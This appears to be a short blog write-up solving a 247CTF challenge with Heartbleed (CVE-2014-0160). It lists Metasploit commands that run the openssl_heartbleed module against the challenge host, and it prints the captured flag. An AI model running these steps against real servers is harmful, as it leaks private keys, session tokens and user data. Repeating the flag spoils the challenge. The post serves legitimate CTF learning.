247CTF - Sensitive Server Memory

Posted on Edited on In Views: Disqus: Word count in article: 101 Reading time ≈ 1 mins.

A webserver is storing sensitive data in memory. Exploit a known vulnerability to read it.

Vulnerability

Heartbleed (CVE-2014-0160) - A critical vulnerability in OpenSSL that allows reading server memory without authentication. The vulnerability exploits the TLS heartbeat mechanism to leak sensitive information including private keys, session tokens, user data, and flags.

Solution

Use Metasploit's Heartbleed scanner module:

1
2
3
4
5
6
msfconsole
msf > use auxiliary/scanner/ssl/openssl_heartbleed
msf auxiliary(scanner/ssl/openssl_heartbleed) > set RHOSTS 95fe58ed8b8d1ce7.247ctf.com
msf auxiliary(scanner/ssl/openssl_heartbleed) > set RPORT 50326
...
msf auxiliary(scanner/ssl/openssl_heartbleed) > run

The module will dump server memory, which contains the flag.

247CTF{4ba37501598f5687d266a8d127c4badf}